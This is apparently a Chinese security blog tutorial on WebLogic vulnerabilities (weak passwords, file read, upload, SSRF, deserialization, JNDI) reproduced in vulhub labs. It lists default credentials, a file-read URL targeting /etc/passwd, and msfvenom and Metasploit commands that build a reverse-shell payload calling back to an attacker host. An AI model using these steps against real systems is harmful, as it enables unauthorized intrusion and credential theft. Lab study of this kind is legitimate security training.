【中间件漏洞】(一)

Weblogic漏洞

关于中间件,可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

一、漏洞列表

编号类型利用方式
弱口令、任意文件读取获得密码进后台,传马
CVE-2018-2894任意文件上传后台传马getshell
CVE-2014-4210SSRF利用redis协议getshell
CVE-2020-14882Console远程代码执行GET、POST、XML
CVE-2018-2628T3协议反序列化RMI攻击,ysoserial工具
CVE-2017-10271XMLDecoder反序列化构造反弹payload
CVE-2023-21839JNDI注入和log4j一致

二、Weblogic 基本介绍

全名:Oracle WebLogic Server,JavaEE服务器
商业产品,适用于大型商业项目
同类产品:IBM WebSphere、Apache Tomcat、
Redhat Jboss
常见版本:
WebLogic Server 10.x ——11g
WebLogic Server 12.x ——12c
vulhub靶场——基于WebLogic Server 10.3.6
默认端口:7001

三、历史漏洞概况

四、弱口令、任意文件读取

4.1 弱口令漏洞

漏洞环境:vulhub/weblogic/weakpass
漏洞描述:利用常用弱口令暴破进入后台

weblogic常用弱口令:
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

4.2 任意文件读取漏洞

漏洞描述:可以读取服务器任意文件。在读取到密钥和密码密文以后,可以AES解密出后台密码
http://192.168.142.133:7001/hello/file.jsp?path=/etc/passwd
密文绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/security/Se
rializedSystemIni.dat,
相对路径:security/SerializedSystemIni.dat
密钥绝对路径:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/con
fig.xml ,
相对路径:config/config.xml

4.3 获取密码密文payload

在这里插入图片描述

4.4 获取密钥payload

在这里插入图片描述

4.5 解密工具

https://github.com/TideSec/Decrypt_Weblogic_Password
getshell

  1. kali生成木马 msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.162 lport=4444 -f war -o java.war

  2. 点击左侧 部署->安装->上传war包->(全部下一步)-> 完成

  3. kali监听 msfconsole
    use exploit/multi/handler
    set payload java/meterpreter/reverse_tcp
    set LHOST 192.168.142.162
    set LPORT 4444
    exploit

  4. 访问: http://192.168.142.133:7001/java

五、任意文件上传getshell

5.1 任意文件上传漏洞

影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
漏洞环境
vulhub/weblogic/CVE-2018-2894
docker-compose logs | grep password
登录到后台,开启 Web Service Test Page :
登录 -> base-domain ->高级 -> 开启 web测试页 -> 保存

5.2 漏洞利用

漏洞地址:http://192.168.142.133:7001/ws_utc/config.do
1、修改工作目录
2、点击安全----添加,上传大马dama.jsp
3、F12, 搜索keystore_table,找到时间戳
4、访问木马

六、SSRF探测redis getshell

CVE- 2014-4210 SSRF
漏洞描述

  1. SSRF是Server-side Request Forge的缩写,中文翻译为服务端请求伪造。产生的原因是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对地址和协议等做过滤和限制。
  2. 利用SSRF漏洞可以发送Redis协议数据,执行Redis相关命令,进而getshell

漏洞概况
影响版本:
weblogic 10.0.2 – 10.3.6
漏洞环境
vulhub/weblogic/ssrf
获取内网IP:
docker ps
docker exec -it 容器ID ifconfig
访问:
http://192.168.142.133:7001/uddiexplorer/ (无需登录)
http://192.168.142.133:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包,修改operator值为:http://172.21.0.2.6379/

七、未授权远程代码执行漏洞

7.1 漏洞描述

weblogic未授权漏洞:CVE-2020-14882
weblogic命令执行漏洞:CVE-2020-14883

  1. CVE-2020-14882允许未授权的用户绕过管理控制台(Console)的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
  2. 使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

原理分析(拓展资料):
https://xz.aliyun.com/t/8470

7.2 利用方式

三种利用方式:
1、执行payload后不回显,但是已经执行成功
2、执行payload后回显
通过GET方式进行payload提交
通过POST方式进行payload提交
3、通过把payload构造为XML格式进行引用

7.3 利用流程:

https://github.com/GGyao/CVE-2020-14882_ALL/tree/master

八、T3协议反序列化RCE

漏洞描述

  1. Weblogic开放控制台的7001端口,默认会开启T3协议服务
  2. Weblogic的T3协议实现了RMI(远程方法调用),在 WebLogic Server 和其他 Java 程序间传输数据
  3. T3协议的缺陷触发了Weblogic Server WLS Core Components中存在的反序列化漏洞
  4. 攻击者可以发送构造的恶意T3协议数据,服务器反序列化以后执行恶意代码,获取到目标服务器权限

原理分析(拓展资料):
https://xz.aliyun.com/t/8073
T3反序列化漏洞概况
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
漏洞环境
vulhub/weblogic/CVE-2018-2628
T3协议检测
nmap -n -v -p 7001,7002 192.168.142.133 --script=weblogic-t3-info

利用流程

复现步骤(总体)

  1. kali启动JRMPListener,参数包含恶意代码恶 意代码的作用是连接到7777端口
  2. kali创建7777端口监听
  3. 运行poc.py,让漏洞服务器主动连接RMI服务 器,进而下载恶意代码,建立反弹连接

payload准备
1、生成payload
2、kali启动JRMPListener
3、kali监听
4、kali运行运行POC(只支持Python2)

九、XML解析反序列化RCE

漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
原理分析(拓展资料):
https://xz.aliyun.com/t/10172

XML反序列化漏洞
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞环境
vulhub/weblogic/CVE-2017-10271
访问
http://192.168.142.133:7001/wls-wsat/CoordinatorPortType

十、JNDI注入漏洞

10.1 漏洞描述

1、T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通
过lookup代码c.lookup(“xxxxxx”); 查看
2、远程对象继承自OpaqueReference并lookup查看远程对象
时,服务端会调用远程对象getReferent方法
3、由于
weblogic.deployment.jms.ForeignOpaqueReference继承自
OpaqueReference并实现getReferent方法,存在retVal =
context.lookup(this.remoteJNDIName)实现,所以能够通过
RMI/LDAP远程协议进行远程命令执行
注:JNDI注入可以参考学习:《CVE漏洞复现-Log4j漏洞》

10.2 JNDI注入漏洞

影响版本:
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞环境
vulhub/weblogic/CVE-2023-21839

利用流程
1、kali启动LDAP服务器,指定payload
2、Kali监听端口
3、Windows向漏洞服务器发送poc

  • 25
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值